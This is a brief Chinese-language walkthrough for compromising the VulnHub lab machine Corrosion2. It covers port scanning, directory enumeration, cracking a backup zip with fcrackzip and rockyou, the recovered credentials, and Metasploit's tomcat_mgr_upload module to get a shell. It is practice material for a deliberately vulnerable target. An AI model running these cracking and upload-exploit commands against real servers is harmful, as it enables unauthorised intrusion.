1.安裝靶機
https://download.vulnhub.com/corrosion/Corrosion2.ova
https://download.vulnhub.com/corrosion/Corrosion2.ova
2.掃描IP
3.掃描端口
4.訪問端口
首先訪問一下80端口
訪問一個8080端口發現是一個apache的頁面
5.掃描目錄與漏洞探測
那么我們掃描一下目錄
80端口沒有掃描到東西，這里我們掃描8080
掃描到一個壓縮包還有readme.txt，還有一些別的目錄，我們訪問一下看看有沒有有用的信息
說服務器上有個文件還有密碼，我們去看一下那個壓縮包，發現解壓需要密碼，我們使用kali的工具爆破一下
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip
@administrator_hi5然后去解壓看一下里面的內容
找到兩組登錄用戶和密碼
6.漏洞利用
然后使用msfconsole獲取shell
use exploit/multi/http/tomcat_mgr_upload
set RHOST 192.168.248.145
set HttpUsername manager
set HttpPassword melehifokivai
然后run
輸入shell，就可以執行命令了
)
)
